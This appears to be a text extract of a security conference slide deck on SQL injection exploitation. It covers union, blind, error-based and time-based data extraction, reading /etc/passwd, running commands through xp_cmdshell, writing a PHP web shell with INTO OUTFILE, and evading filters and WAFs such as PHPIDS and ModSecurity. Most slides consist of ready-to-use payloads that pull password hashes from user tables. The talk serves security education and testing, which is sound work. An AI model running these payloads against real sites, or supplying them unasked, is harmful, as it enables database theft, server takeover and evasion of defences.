    SQL Injection –Basic Concepts Methods of SQL Injection exploitation are classified according to the DBMS type and exploitation conditions Vulnerable request can implement Insert, Update, Delete It is possible to inject SQL code into any part of SQL request Blind SQL Injection Features of SQL implementations used in various DBMSs SQL Injection vulnerability is characteristic not only for web applications !
  • 11.
    SQL Injection –Basic Concepts SQL Injection classification SQL Injection can be exploited both during the attack conduction or after a while
  • 12.
    SQL Injection –Basic Concepts Methods to detect SQL Injection Function testing ( black/white-box) Fuzzing Static / dynamic/manual analysis of the source code Examples of function testing for http://site/?param=123 http://site/?param=1 ' http://site/?param=1 '# http://site/?param=1 &quot; … http://site/?param=1 order by 1000 http://site/?param=1 AND 1=1 -- http://site/?param=1 '-- http://site/?param=1 AND 1=2-- ... … http://site/?param=1 '/* http://site/?param=1 ' AND '1'='1 ... etc.
  • 13.
    SQL Injectio n – Classical Exploitation ( MySQL ) Vulnerability detection /?id=1 + ORDER+BY+100 SQL request looks like SELECT id, name from table where id =1 ORDER BY 100 As a result, the following error message can be received ERROR 1054 (42S22): Unknown column '100' in 'order clause' Obtaining table/column names ( information_schema/ search ) and further obtaining data from the discovered tables /?id=1+ union+select+0,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns SQL request becomes SELECT id, name from table where id =1 union select 0,concat_ws(0x3a,table_name,column_name) from information_schema.columns As a result, the desired information can be received in the following form | 0 | table1:column1 | | 0 | table1:column2 |
  • 14.
    SQL Injectio n – Features of Different DBMSs Features of exploitation for different DBMS Example ( MySQL ) : SELECT * from table where id = 1 union select 1,2,3 Example (PostgreSQL): SELECT * from table where id = 1 ; select 1,2,3 Example ( Oracle ) : SELECT * from table where id = 1 union select null,null,null from sys.dual MySQL MSSQL MS Access Oracle DB2 PostgreSQL String concatenation concat(,) concat_ws(delim,) ' '+' ' &quot; &quot;&&quot; &quot; ' '||' ' '' concat '' &quot; &quot;+&quot; &quot; ' '||' ' ' '||' ' Comments -- and /* * / and # -- and /* No -- and /* -- -- and /* Request union union union and ; union union union union and ; Sub-requests v .4.1 >= Yes No Yes Yes Yes Stored procedures No Yes No Yes No Yes Availability of information_schema or its analogs v .5.0 >= Yes Yes Yes Yes Yes
  • 15.
    SQL Injectio n – Exploitation for Different DBMSs MySQL 4.1>= First entry /?id=1 union select name,123 from users limit 0,1 Second entry /?id=1 union select name,123 from users limit 1,1 MSSQL First entry /?id=1 union select table_name,123 from (select row_number() over (order by name) as rownum, name from users) as t where t.rownum=1 Second entry /?id=1 union select table_name,123 from (select row_number() over (order by name) as rownum, name from users) as t where t.rownum=2 PostgreSQL First entry /?id=1 union select name, null from users limit 1 offset 0 Second entry /?id=1 union select name, null from users limit 1 offset 1 or First entry /?id=1 ; select name, 123 from users limit 1 offset 0 Second entry /?id=1 ; select name, 123 from users limit 1 offset 1
  • 16.
    Chapter 2: Blind SQL Injection Blind SQL Injection
  • 17.
    Blind SQL Injection– Basic Concepts Blind SQL Injection A method to attack a database bypassing firewalls. In the course of exploitation of an SQL Injection vulnerability, the attacker analyses the application logic (true/false) . Blind SQL Injections can be classified according to the following criteria
  • 18.
    Blind SQL Injection– Basic Concepts Methods to detect B lind SQL Injection http://site/?param= -1 OR 1=1 http://site/?param= -1 OR 1=1-- ... http://site/?param= -1' http://site/?param= -1' AND 1=2 ... http://site/?param= -1' OR '1'='1 ... http://site/?param= -1&quot;/* ... http://site/?param= 2 http://site/?param= 1 http://site/?param= 2-1 ... http://site/?param= 1' AND 1=1 http://site/?param= 1' AND '1'='1 … etc. Methods to detect Double B lind SQL Injection http://site/?param= -1 AND benchmark(2000,md5(now())) ... http://site/?param= -1' AND benchmark(2000,md5(now()))-- ... etc.
  • 19.
    Blind SQLInjectio n – Classical Exploitation ( MySQL ) Searching for the first character of the first table entry /?id=1+ AND+ 555 =if(ord(mid(( select+pass+from+users+limit+0,1 ),1,1))= 97 , 555 , 777 ) SQL request becomes SELECT id, name from table where id =1 AND 555=if(ord(mid((select pass from users limit 0,1),1,1))=97,555,777) If the table “users” contains a column “pass” and the first character of the first entry in this column is 97 ( letter “a” ) , then DBMS will return TRUE; otherwise, FALSE . Searching for the second character of the first table entry /?id=1+ AND+555=if(ord(mid((select+pass+from+users+limit+0,1), 2 ,1))=97,555,777) SQL request becomes SELECT id, name from table where id =1 AND 555=if(ord(mid((select pass from users limit 0,1), 2 ,1))=97,555,777) If the table “users” contains a column “pass” and the second character of the first entry in this column is 97 ( letter « a ») , then DBMS will return TRUE; otherwise, FALSE.
  • 20.
    Blind SQLInjectio n – Classical Exploitation ( MySQL ) Let’s go faster … We can restrict the range of character search. For example, for MD5 it is [0-9a-f], or 48-57, 97-102 . Moreover, we can use the inequality signs ! Searching for the first character of the first table entry /?id=1+ AND+555=if(ord( lower ( mid((select+pass+from+users+limit+0,1),1,1) ) ) > 97,555,777) If the table “ users” contains a column “ pass” and the first character of the first entry in this column is greater than 97 ( letter “a” ) , then DBMS will return TRUE; otherwise, FALSE. Searching for the first character of the second table entry /?id=1+ AND+555=if(ord(lower ( mid((select+pass+from+users+limit+ 1 ,1),1,1) ) )< 1 02,555,777) If the table “ users” contains a column “ pass” and the first character of the second entry in this column is lower than 1 0 2 ( letter “f” ) , then DBMS will return TRUE; otherwise, FALSE. A more rational approach /?id=1+ AND+555=if(ord(lower ( mid((select+pass+from+users+limit+ 0 ,1),1,1) ) )< 1 0 0 ,555,777) If the character being searched is lower than 1 00 ( letter « d »), consequently, the character either represents letter “d” or belongs to the range [a-c].
  • 21.
    Blind SQLInjectio n – New Methods of Exploitation ( MySQL ) … and even faster … It is possible to find up to 1 2 characters using one request ( method by Qwazar X07’09 ) Searching for the first character of the first table entry /?id=1+AND+1+rlike+concat(if((mid((select+pass+from+users+limit+0,1),1,1)in(' 0 '))>0, ( 0x787B312C3235367D ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 1 '))>0, ( 0x787B312C28 ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 2 '))>0, ( 0x5B5B3A5D5D ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 3 '))>0, ( 0x5B5B ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 4 '))>0, ( 0x28287B317D ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 5 '))>0, ( 0x0 ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 6 '))>0, ( 0x28 ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 7 '))>0, ( 0x5B322D315D ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 8 '))>0, ( 0x5B5B2E63682E5D5D ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 9 '))>0, ( 0x5C ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' a '))>0, ( select 1 union select 2 ),( 1 ))))))))))))) If the table “users” contains a column “pass” and the first character of the first entry in this column belongs to the range [0-9a] , then DBMS will return an error message. Otherwise, it will return 1, i.e. the request will be correct.
  • 22.
    Blind SQLInjectio n – New Methods of Exploitation ( MySQL ) … at the same rate … How does it work? MySQL returns unique error messages using illegal regexps: select 1 regexp if(1=1,&quot;x{1,0}&quot;,2) #1139 - Got error 'invalid repetition count(s)' from regexp select 1 regexp if(1=1,&quot;x{1,(&quot;,2) #1139 - Got error 'braces not balanced' from regexp etc. An error message is also displayed if two entries are unexpectedly returned instead of one ( method by Elekt ) : select if(1=1,(select 1 union select 2),2) #1242 - Subquery returns more than 1 row Note: in the example, hexadecimal equivalents were used, e.g. 0 x787B312C307D instead x{1,0}
  • 23.
    Blind SQLInjectio n – New Methods of Exploitation ( MySQL ) … at the same rate … If it is necessary to find an MD5 hash, only two requests are required. Request 1 /?id=1+AND+1+rlike+concat(if((mid((select+pass+from+users+limit+0,1),1,1)in('0'))>0,(0x787B312C3235367D),if((mid((select+pass+from+users+limit+0,1),1,1)in('1'))>0,(0x787B312C28),if((mid((select+pass+from+users+limit+0,1),1,1)in('2'))>0,(0x5B5B3A5D5D),if((mid((select+pass+from+users+limit+0,1),1,1)in('3'))>0,(0x5B5B),if((mid((select+pass+from+users+limit+0,1),1,1)in('4'))>0,(0x28287B317D),if((mid((select+pass+from+users+limit+0,1),1,1)in('5'))>0,(0x0),if((mid((select+pass+from+users+limit+0,1),1,1)in('6'))>0,(0x28),if((mid((select+pass+from+users+limit+0,1),1,1)in('7'))>0,(0x5B322D315D),if((mid((select+pass+from+users+limit+0,1),1,1)in('8'))>0,(0x5B5B2E63682E5D5D),if((mid((select+pass+from+users+limit+0,1),1,1)in('9'))>0,(0x5C),if((mid((select+pass+from+users+limit+0,1),1,1)in('a'))>0,(select 1 union select 2),(1))))))))))))) If the character does not belong to the range [0-9a], then the second request is sent ( checking [b-f] ) /?id=1+AND+1+rlike+concat(if((mid((select+pass+from+users+limit+0,1),1,1)in('0'))>0,(0x787B312C3235367D),if((mid((select+pass+from+users+limit+0,1),1,1)in('1'))>0,(0x787B312C28),if((mid((select+pass+from+users+limit+0,1),1,1)in('2'))>0,(0x5B5B3A5D5D),if((mid((select+pass+from+users+limit+0,1),1,1)in('3'))>0,(0x5B5B),if((mid((select+pass+from+users+limit+0,1),1,1)in('4'))>0,(0x28287B317D),if((mid((select+pass+from+users+limit+0,1),1,1)in('5'))>0,(0x0),if((mid((select+pass+from+users+limit+0,1),1,1)in('6'))>0,(0x28),if((mid((select+pass+from+users+limit+0,1),1,1)in('7'))>0,(0x5B322D315D),if((mid((select+pass+from+users+limit+0,1),1,1)in('8'))>0,(0x5B5B2E63682E5D5D),if((mid((select+pass+from+users+limit+0,1),1,1)in('9'))>0,(0x5C),if((mid((select+pass+from+users+limit+0,1),1,1)in('a'))>0,(select 1 union select 2),(1)))))))))))))
  • 24.
    Blind SQLInjectio n – New Methods of Exploitation ( MySQL ) … at the maximal rate ! A new method using function ExtractValue() based on experiments with function NAME_CONST () MySQL v. 5.0.12 > v.5.0.64 (X09’09) conducted by Qwazar : select 1 AND ExtractValue(1,concat(0x5C,(' test '))); As a result, the following error message can be received (if MySQL version is >=5.1) XPATH syntax error: '\ test ' Thus, we can simply return the desired data: /?id=1+ AND+extractvalue(1,concat(0x5C,(select pass from users limit 0,1))) SQL request becomes SELECT id, name from table where id =1 AND extractvalue(1,concat(0x5C,(select pass from users limit 0,1))) As a result, the desired information can be received in the following form The error message string cannot contain more than 31 characters . Function mid() and such-like can be applied to display longer strings.
  • 25.
    Blind SQLInjectio n – New Methods of Exploitation ( MySQL ) The Rate Limit … What if error messages are suppressed? We can restrict the range of character search. For example, for MD5 this range is [0-9a-f]. We can use news titles, site sections etc. as signatures . Implementation: /?id= if((mid((select pwd from users limit 0,1),1,1)in('a'))>0,( 12345 ),if((mid((select pwd from users limit 0,1),1,1)in('b'))>0,( 12346 ), …….. ,null )) or /?id= if((mid((select pwd from users limit 0,1),1,1)in('a','b','c','d','e','f'))>0,( 12345 ),if((mid((select pwd from users limit 0,1),1,1)in('0','1','2','3','4','5','6','7','8','9'))>0,( 12346 ), …….. ,null )) In this example, “ 12345 ” and “ 123456 ” represent identifiers of news on the site. Restrictions of this method: Appropriate application architecture; The length of HTTP request cannot be more than 4096 bytes.
  • 26.
    Double Blind SQL Injectio n – Classical Exploitation ( MySQL ) More haste, less speed;) Exploitation of Double Blind SQL Injection is based on time delays. We can restrict the range of character search to increase performance . Classical implementation: /?id=1+ AND + if((ascii(lower(substring((select password from user limit 0 ,1), 0 ,1))))= 97 ,1,benchmark( 2000000 ,md5(now()))) We can conjecture that the character was guessed right on the basis of the time delay of web server response; Manipulating the value 2000000 : we can achieve acceptable performance for a concrete application; Function sleep() represents an analogue of function benchmark () . Function sleep() is more secure in the given context, because it doesn’t use server resources.
  • 27.
    Chapter 3: Working with File System and Executing Commands on Server Working with File System and Executing Commands on Server Under SQL Injection Exploitation
  • 28.
    Working with FileSystem General architecture of using file system via SQL Injection uid=80(www) gid=80(www) If you access a file created by DBMS, it is necessary to keep in mind that the file owner is the user called DBMS uid=88(mysql) gid=88(mysql) Requests are received from the DBMS user ( to work with file system, privileges file_priv are required ) File system is accessed by the DBMS user ( appropriate permissions are required at the ACL level ) “ Current directory” represents the DBMS directory
  • 29.
    Working with FileSystem – Difference of DBMSs An example for MSSQL: CREATE TABLE mydata (line varchar(8000)); BULK INSERT mydata FROM 'c:\boot.ini'; SELECT * FROM mydata; DROP TABLE mydata; MySQL MSSQL MS Access Oracle PostgreSQL Built-in functions Yes No Yes No Yes Available functions load_file, load data infile, into otfile/dumpfile Procedures eq insert from file curdir() Procedures eq insert from file pg_read_file(), pg_ls_dir(), copy, etc.
  • 30.
    Working with FileSystem An example for MySQL LOAD_FILE union select load_file('/etc/passwd') LOAD DATA INFILE create table t(a varchar(500)); load data infile '/etc/passwd' into table t; select a from t; SELECT INTO OUTFILE и SELECT INTO DUMPFILE union select 1 into outfile 't' union select 1 into dumpfile 't'
  • 31.
    Executing Commands onServer – Difference of DBMSs An example for MSSQL: EXEC xp_cmdshell 'ipconfig /all'; To use xp_cmdshell in MSSQL >= 2005, it is necessary to perform the following: EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; MySQL MSSQL MS Access Oracle PostgreSQL Built-in functions No Yes Yes No No Available functions No EXEC shell() Own procedures Own procedures
  • 32.
    Executing Commands onServer An example for SQL Writing web-shell to the file /www/img/shell.php /?id=1+union+select+'<?eval($_request[shell]);?>' +into+outfile+'/www/img/shell.php' Executing commands on server /img/shell.php?shell=passthru('ls');
  • 33.
    Chapter 4: Methods to Bypass Security Filters Methods to Bypass Security Filters
  • 34.
    Filters for Incomingdata. Types Transparent for web applications magic_quotes_gpc , display_errors , etc. mod_rewrite, ISAPI filters , etc. Built-in functions of the development language Universal Example: addslashes(), addcslashes(), htmlspecialchars() , etc Meant for a certain environment Example: mysql_real_escape_string(), pg_escape_string(), dbx_escape_string(), etc In-house design of a programmer Type casting Using regular expressions
  • 35.
    Methods to BypassSecurity Filters (1) Apply coding to the data transmitted to the application There is unlimited number of forms to represent the string “qwerty” Hex coding: 0 x717765727479 ASCII representation: char(113),char(119),char(101),char(114), char(116),char(121) Encryption with various keys: ╧i╘═╗ Г▐╗щ~)°°Р= Example: hex(AES_ENCRYPT('qwerty',1)) is B969A9A01DA8E78FA8DD7E299C9CF23D aes_decrypt(concat(0xB9,0x69,0xA9,0xA0,0x1D,0xA8,0xE7,0x8F,0xA8,0xDD,0x7E,0x29,0x9C,0x9C,0xF2,0x3D),1) is qwerty
  • 36.
    Methods to BypassSecurity Filters (2) Apply codes that are not processed by the filter Function synonyms CHARACTER_LENGTH() -> CHAR_LENGTH() LOWER() -> LCASE() OCTET_LENGTH() -> LENGTH() LOCATE() -> POSITION( ) REGEXP() -> RLIKE() UPPER() -> UCASE() etc. Obfuscated codes for requests and data Examples of obfuscated codes for the string “qwerty”: reverse(concat(if(1,char(121),2),0x74,right(left(0x567210,2),1),lower(mid('TEST',2,1)),replace(0x7074,'pt','w'),char(instr(123321,33)+110))) concat(unhex(left(crc32(31337),3)-400),unhex(ceil(atan(1)*100-2)),unhex(round(log(2)*100)-4),char(114),char(right(cot(31337),2)+54),char(pow(11,2)))
  • 37.
    Methods to BypassSecurity Filters An example of bypassing signatures ( obfuscated code for request ) The following request will correspond to the application signature /?id=1+ union +( select +1,2+ from +test.users) But sometimes the signatures can be bypassed /?id=1+union+(select+'xz'from+xxx) /?id=(1)unIon(selEct(1),mid(hash,1,32)from(test.users)) /?id=1+union+(sELect'1',concat(login,hash)from+test.users) /?id=(1)union(((((((select(1),hex(hash)from(test.users)))))))) /?id=(1);exec('sel'+'ect'(1)) /?id=(1)or(0x50=0x50) …
  • 38.
    Methods to BypassSecurity Filters (3) Use null-byte to bypass binary-dependent functions Example: if(ereg (&quot;^(.){1,3}$&quot;, $_GET['param'])) { … } /?param= 123 ereg (&quot;^(.){1,3}$&quot;, &quot; 123 &quot;) – true /?param= 1234 ereg (&quot;^(.){1,3}$&quot;, &quot; 1234 &quot;) – false /?param= 1+union+select+1 ereg (&quot;^(.){1,3}$&quot;, &quot; 1 union select 1 &quot;) – false /?param= 123%00 ereg (&quot;^(.){1,3}$&quot;, &quot; 123\0 &quot;) - true /?param= 1/*%00*/union+select+1 ereg (&quot;^(.){1,3}$&quot;, &quot; 1/*\0*/union select 1 &quot;) - true
  • 39.
    Methods to BypassSecurity Filters ( 4 ) Bypassing function addslashes() It is possible if there is a vulnerability that allows attackers to set SJIS, BIG5 or GBK coding How does it work? addslashes(&quot; ' &quot;) т.е. 0x 27 вернет &quot; \ ' &quot; т.е. 0x 5c 27 An example for GBK coding: 0xbf 27 – illegal character 0xbf 5c – valid independent character 0xbf27 , being processed with function addslashes() , becomes 0xbf 5c 27 , i.e. 0xbf 5c and a single quote у 0x 27 Raz0r, http://raz0r.name/vulnerabilities/sql-inekcii-svyazannye-s-multibajtovymi-kodirovkami-i-addslashes/
  • 40.
    Methods to BypassSecurity Filters (5) A common vulnerability in the functions of security filters The following request doesn’t allow malicious users to conduct an attack /?id=1+ union+select +1,2, 3 /* If there is a corresponding vulnerability in the filter, the following request will be successfully processed /?id=1 + un /**/ ion + sel /**/ ect+1,2,3-- SQL request becomes SELECT * from table where id =1 union select 1,2,3 -- Any set of characters that is cut by the filter (e .g. #####, %00, etc.) can be used instead of /**/ The given example works in case of &quot;superfluous cleaning&quot; of incoming data ( replacing r egexp with an empty string )
  • 41.
    Chapter 5: Methods to Bypass Web Application Firewall Methods to Bypass Web Application Firewall (WAF)
  • 42.
    What is WAFhttp:// server /?id=6329&print=Y At attack is detected ! Alarm !!! WAF Webserver http:// server /?id=5351 http:// server /?id=8234 http:// server /? id=“><script>... http:// server /?id=1+union+select... http:// server /? id=/../../../etc/passwd Data normalization Decode HTML entities (e.g. &#99;, &quot;, &#xAA;) Escaped characters (e.g. \t, \001, \xAA, \uAABB) Null byte string termination ... Signature search /(sel)(ect.+fr)(om)/is /(uni)(on.+sel)(ect)/is ...
  • 43.
    Classification According tothe behavior: Bridge/Router Reverse Proxy Built-in According to the protection model: Signature-based Rule-based According to the response to a “bad” request: Cleaning of dangerous data Blocking the request Blocking the attack source
  • 44.
    Methods to BypassWAF Fundamental technology limitations Inability to protect a web-application from all possible vulnerabilities General problems When using universal WAF-filters, it is necessary to balance the filter efficiency and minimization error responses, when valid traffic is blocked Processing of the traffic returned to a client Implementation Vulnerabilities Normalization techniques Application of new methods of web vulnerability exploitation ( HTTP Parameter Pollution , HTTP Parameter Fragmentation , null-byte replacement , etc. )
  • 45.
    Practice of Bypassing WAF: SQL Injection - Normalization Example of a vulnerability in the function of request normalization The following request doesn’t allow anyone to conduct an attack /?id=1+ union+select +1,2, 3 /* If there is a corresponding vulnerability in the WAF , this request will be successfully performed /?id=1/*union*/ union /*select*/ select+1,2,3 /* After being processed by WAF , the request will become index.php?id=1/* uni X on */ union /* sel X ect */ select+1,2,3 /* The given example works in case of cleaning of dangerous traffic, not in case of blocking the entire request or the attack source
  • 46.
    Practice of Bypassing WAF: SQL Injection – HPP ( example 1) Using HTTP Parameter Pollution (HPP) The following request doesn’t allow anyone to conduct an attack /?id=1 ;select+1,2, 3 +from+users+where+id=1 -- This request will be successfully performed using HPP /?id=1 ;select+1 &id= 2, 3 +from+users+where+id=1 -- Successful conduction of an HPP attack bypassing WAF depends on the environment of the application being attacked OWASP EU09 Luca Carettoni, Stefano diPaola http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
  • 47.
    Practice of Bypassing WAF: SQL Injection – HPP How does it work?
  • 48.
    Practice of Bypassing WAF: SQL Injection - HPP Technology/Environment Parameter Interpretation Example ASP.NET/IIS Concatenation by comma par1=val1,val2 ASP/IIS Concatenation by comma par1=val1,val2 PHP/APACHE The last parameter is resulting par1=val2 PHP/Zeus The last parameter is resulting par1=val2 JSP, Servlet/Apache Tomcat The first parameter is resulting par1=val1 JSP,Servlet/Oracle Application Server 10g The first parameter is resulting par1=val1 JSP,Servlet/Jetty The first parameter is resulting par1=val1 IBM Lotus Domino The first parameter is resulting par1=val1 IBM HTTP Server The last parameter is resulting par1=val2 mod_perl,libapeq2/Apache The first parameter is resulting par1=val1 Perl CGI/Apache The first parameter is resulting par1=val1 mod_perl,lib???/Apache The first parameter is resulting par1=val1 mod_wsgi (Python)/Apache An array is returned ARRAY(0x8b9058c) Pythin/Zope The first parameter is resulting par1=val1 IceWarp An array is returned ['val1','val2'] AXIS 2400 The last parameter is resulting par1=val2 Linksys Wireless-G PTZ Internet Camera Concatenation by comma par1=val1,val2 Ricoh Aficio 1022 Printer The last parameter is resulting par1=val2 webcamXP Pro The first parameter is resulting par1=val1 DBMan Concatenation by two tildes par1=val1~~val2
  • 49.
    Practice of Bypassing WAF: SQL Injection – HPP ( example 2) Using HTTP Parameter Pollution (HPP) Vulnerable code SQL=&quot; select key from table where id= &quot;+ Request.QueryString(&quot;id&quot;) This request is successfully performed using the HPP technique /?id=1 /**/union/* &id= */select/* &id= */pwd/* &id= */from/* &id= */users The SQL request becomes select key from table where id= 1 /**/ union/* , */select/* , */pwd/* , */from/* , */users Lavakumar Kuppan, http://lavakumar.com/Split_and_Join.pdf
  • 50.
    Practice of Bypassing WAF: SQL Injection – HPF Using HTTP Parameter Fragmentation (HPF) Vulnerable code example Query( &quot;select * from table where a=&quot; .$_GET['a']. &quot; and b=&quot; .$_GET['b'] ); Query( &quot;select * from table where a=&quot; .$_GET['a']. &quot; and b=&quot; .$_GET['b']. &quot; limit &quot; .$_GET['c'] ); The following request doesn’t allow anyone to conduct an attack /?a=1+ union+select +1,2/* These requests may be successfully performed using HPF /?a=1+ union/* &b= */select+1,2 /?a=1+ union/* &b= */select+1,pass/* &c= */from+users-- The SQL requests become select * from table where a= 1 union /* and b=*/ select 1,2 select * from table where a= 1 union /* and b=*/ select 1,pass /* limit */ from users -- http://www.webappsec.org/lists/websecurity/archive/2009-08/msg00080.html
  • 51.
    Practice of Bypassing WAF: Blind SQL Injection Using logical requests AND/OR The following requests allow one to conduct a successful attack for many WAFs /?id=1+ OR+0x50=0x50 /?id=1+ and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 Negation and inequality signs (!=, <>, <, > ) can be used instead of the equality one – It is amazing, but many WAFs miss it! It becomes possible to exploit the vulnerability with the method of blind-SQL Injection by replacing SQL functions that get to WAF signatures with their synonyms substring() -> mid(), substr(), etc ascii() -> hex(), bin(), etc benchmark() -> sleep() The given example is valid for all WAFs whose developers aim to cover as many web-applications as possible
  • 52.
    Practice of Bypassing WAF: Blind SQL Injection Known : substring((select 'password'),1,1) = 0x70 substr((select 'password'),1,1) = 0x70 mid((select 'password'),1,1) = 0x70 New : strcmp(left('password',1), 0x69) = 1 strcmp(left('password',1), 0x70) = 0 strcmp(left('password',1), 0x71) = -1 STRCMP( expr1,expr2 ) returns 0 if the strings are the same, -1 if the first argument is smaller than the second one, and 1 otherwise http://dev.mysql.com/doc/refman/5.0/en/string-comparison-functions.html
  • 53.
    Practice of Bypassing WAF: Blind SQL Injection Blind SQL Injection doesn’t always imply use of AND/OR ! Vulnerable code examples Query( &quot;select * from table where uid=&quot; .$_GET['uid'] ); Query( &quot;select * from table where card=&quot; .$_GET['card'] ); Exploitation examples false: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)%2B112233 false: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x61)%2B112233 true: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x62)%2B112233 first hash character = B false: ... false: index.php?uid=strcmp(left((select/**/hash/**/from/**/users/**/limit/**/0,1),2),0x6240)%2B112233 true: index.php?uid=strcmp(left((select/**/hash/**/from/**/users/**/limit/**/0,1),2),0x6241)%2B112233 second hash character = A
  • 54.
    Practice of Bypassing WAF: SQL Injection – Signature Bypass PHPIDS (0.6.1.1) – default rules Forbid: /?id=1+union+select+user,password+from+mysql.user+ where +user=1 But allows: /?id=1+ union+select+user,password+from+mysql.user+limit+0,1 Forbid: /?id=1+ OR+1=1 But allows: / ?id=1+ OR+0x50=0x50 Forbid: /?id= substring ((1),1,1) But allows: /?id= mid ((1),1,1)
  • 55.
    Practice of Bypassing WAF: SQL Injection – Signature Bypass Mod_Security (2.5.9) – default rules Forbid: /?id=1+and+ascii(lower( substring ((select+pwd+from+users+limit+1,1),1,1)))=74 But allows: /?id=1+and+ascii(lower( mid ((select+pwd+from+users+limit+1,1),1,1)))=74 Forbid: /?id=1+ OR+1=1 But allows: / ?id=1+ OR+0x50=0x50 Forbid: /?id=1+ and+5=6 But allows: / ?id=1+ and+5!=6 Forbid: /?id=1 ;drop members But allows: / ?id=1 ;delete members And allows: /?id= (1);exec('sel'+'ect(1)'+',(xxx)from'+'yyy')
  • 56.
  • 57.
    SQL Injection in“wildlife” SQL Injection can be found even in widely known and large Internet resources
  • 58.
    Conclusions SQL Injectionis a gross programming error , which is widespread and very dangerous WAF is not the long-expected “silver bullet” WAF doesn’t eliminate a vulnerability, it just partly screens the attack vector Conceptual problems of WAF – application of the signature principle Correctly organized Software Development Life Cycle (SDLC) considerably reduces the probability that a vulnerability will appear in program code Web application protection (and information security in whole) must be comprehensive :)
  • 59.
    Automated Exploitation ofSQL Injection sqlmap ( http://sqlmap.sourceforge.net/ ) Full support : MySQL, Oracle, PostgreSQL и Microsoft SQL Server Partial support : Microsoft Access, DB2, Informix, Sybase и Interbase sqlus ( http://sqlsus.sourceforge.net/ ) Only MySQL support is implemented bsqlbf-v2 ( http://code.google.com/p/bsqlbf-v2/ It isn’t oriented on Blind SQL Injections any more . The following systems are supported: MySQL, Oracle, PostgreSQL, and Microsoft SQL Server In view of development of new fast techniques of Blind SQL Injection exploitation in MySQL, they are going to release a corresponding proof of concept ( it will be available on http://www.milw0rm.com/papers/ )
  • 60.
  • 61.
    Additional materials andreferences WASC: http://projects.webappsec.org/SQL-Injection OWASP: http://www.owasp.org/index.php/SQL_Injection Securitylab: http://www.securitylab.ru/ Pentestmonkey.net Cheat Sheets: http://pentestmonkey.net/ (Oracle, MSSQL, MySQL, PostgreSQL, Ingres, DB2, Informix) Antichat resources: MySQL >=4.x: https://forum.antichat.ru/threadnav43966-1-10.html MySQL 3.x: http://forum.antichat.ru/showthread.php?t=20127 MSSQL: http://forum.antichat.ru/thread15087.html ORACLE: http://forum.antichat.ru/showthread.php?t=40576 PostgreSQL: http://forum.antichat.ru/thread35599.html MSAccess: http://forum.antichat.ru/thread50550.html
  • 62.
    Thank you foryour attention ! [email_address] http://devteev.blogspot.com/